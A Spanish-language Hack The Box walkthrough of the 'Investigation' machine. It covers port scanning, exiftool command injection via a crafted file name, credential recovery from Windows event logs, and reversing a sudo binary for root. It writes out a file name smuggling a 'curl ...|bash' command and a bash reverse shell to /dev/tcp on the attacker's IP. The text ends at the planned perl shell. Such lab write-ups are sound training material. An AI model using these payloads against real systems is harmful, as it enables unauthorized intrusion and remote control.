HTB - Investigation writeup
En la máquina de hoy abusaremos de una version desactualizada de exiftool
que nos permitirá ejecutar comandos y ganar acceso. Encontraremos un archivo .msg
(correo electrónico de Microsoft Outlook) dentro de la máquina que contendrá un archivo .zip
con eventos de windows (.evtx), gracias a los eventos podremos encontrar credenciales expuestas para conectarnos por ssh (user pivoting). Para la escalada de privilegios podremos ejecutar un binario como root sin necesidad de contraseña, tendremos que hacer reversing al binario para entender qué es lo que esta haciendo y poder ganar una consola como root.
Índice
Nmap, Fuzzing y Reconocimiento
Como siempre, en la fase de reconocimiento usamos nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG nmap/Puertos.txt 10.10.11.197
Puertos.txt
# Nmap 7.92 scan initiated Tue Jan 31 08:16:10 2023 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG nmap/Puertos.txt 10.10.11.197
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.197 () Status: Up
Host: 10.10.11.197 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http/// Ignored State: closed (65533)
# Nmap done at Tue Jan 31 08:16:23 2023 -- 1 IP address (1 host up) scanned in 12.34 seconds
La máquina tiene 2 puertos abiertos, 22 y 80:
nmap -p22,80 -sVC -oN nmap/VersionServicios.txt 10.10.11.197
VersionServicios.txt
# Nmap 7.92 scan initiated Tue Jan 31 08:17:12 2023 as: nmap -p22,80 -sVC -oN nmap/VersionServicios.txt 10.10.11.197
Nmap scan report for eforenzics.htb (10.10.11.197)
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 2f:1e:63:06:aa:6e:bb:cc:0d:19:d4:15:26:74:c6:d9 (RSA)
| 256 27:45:20:ad:d2:fa:a7:3a:83:73:d9:7c:79:ab:f3:0b (ECDSA)
|_ 256 42:45:eb:91:6e:21:02:06:17:b2:74:8b:c5:83:4f:e0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: eForenzics - Premier Digital Forensics
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 31 08:17:21 2023 -- 1 IP address (1 host up) scanned in 9.67 seconds
Para enumerar un poco la página web por consola, antes de ir directamente al navegador, voy a utilizar whatweb
.
La máquina está utilizando Virtual Hosting, para que nos resuelva tenemos que añadir una línea en el /etc/hosts
# Host addresses
127.0.0.1 localhost
127.0.1.1 parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# Others
10.10.11.197 eforenzics.htb
Exiftool RCE
La página principal nos dice que que podemos subir una foto gratis y que nos harán forense a la foto que subamos.
http://eforenzics.htb/service.html
Cuando subimos una foto cualquiera podremos confirmar que está utilizando exiftool
para hacer forense a la foto, pero esta versión de exiftool es vulnerable a inyección de comandos (versiones menores a la 12.38).
La inyección se acontece cuando el nombre del archivo termina con un pipe |
.
Para ejecutar comandos he copiado una imagen real y la he llamado `curl 10.10.14.174|bash` |
. Estaré compartiendo un servidor http con python para mandarme la reverse shell.
cp /home/ch3chu/Descargas/wallpaper.png '`curl 10.10.14.174|bash` |'
echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.14.174/443 0>&1"' > index.html
Nos levantamos el servidor HTTP y a la vez nos ponemos a la escucha por el puerto 443:
Subimos la foto y recibimos la shell:
User Pivoting
Al enumerar el sistema y buscar archivos de los usuarios existentes encontramos un archivo .msg
.
Los archivos con extensión .msg son archivos de correo electrónico en formato Microsoft Outlook. Representan mensajes de correo electrónico que se guardan localmente en el ordenador y se pueden abrir con Microsoft Outlook o cualquier otro programa que sea compatible con el formato .msg. Estos archivos contienen información sobre el remitente, el destinatario, el asunto, el cuerpo del mensaje, adjuntos y otras propiedades relacionadas con el correo electrónico. También pueden incluir información de seguimiento y elementos de calendario como citas y reuniones.
Lo que hice en su momento fue transferirme este archivo a una máquina windows y darle doble click:
Vemos que tiene un comprimido zip
adjunto, si lo descomprimimos podemos ver que tiene un archivo con extensioin evtx
, esta extensión se utiliza para los event log de windows. Lo más facil es transferirse este archivo a una máquina windows y darle doble click para poder inspeccionar los logs facilmente.
En concreto hay un ID de evento 4776 que se registra cada vez que un controlador de dominio (DC) intenta validar las credenciales de una cuenta usando NTLM sobre Kerberos. Este evento también se registra para los intentos de inicio de sesión en la cuenta SAM local en estaciones de trabajo y servidores Windows, ya que NTLM es el mecanismo de autenticación predeterminado para el inicio de sesión local.
Vemos que hay credenciales expuestas, lo mas seguro es que sean del usuario smorton
, lo cual me permite conectarme por ssh.
Reversing and Privilege Escalation
Una vez estemos loggeados como smorton
tenemos que volver a enumerar el sistema. Esta vez podemos ejecutar un binartio /usr/bin/binary
como root sin necesidad de contraseña:
Para saber un poco mejor que es lo que hace este ejecutable me creé un proyecto en hydra
para poder leer el codigo en C y analizarlo. Básicamente este ejecutable primero valida si el número de argumentos que le estamos pasando es 3, si no, el programa sale; luego valida si el usuario que lo esta ejecutando es root, y por ultimo está comparando el ultimo argumento con una cadena de texto lDnxUysaQn
, si no es la misma cadena se para el programa.
Ahora que sabemos como ejecutar el programa correctamente, tenemos que entender que hace. Este trozo del codigo esta creando un archivo llamado como el último argumento que le pasemos, en este caso lDnxUysaQn
, luego está realizando un curl al primero arugmento y lo esta guardando en el archivo creado.
Por último el programa está ejecutando el archivo lDnxUysaQn
con perl.
Lo que me lleva a pensar es, ¿qué pasaría si pongo mi IP como primer argumento y me levanto un servidor HTTP con codigo en perl que me ejecute una bash?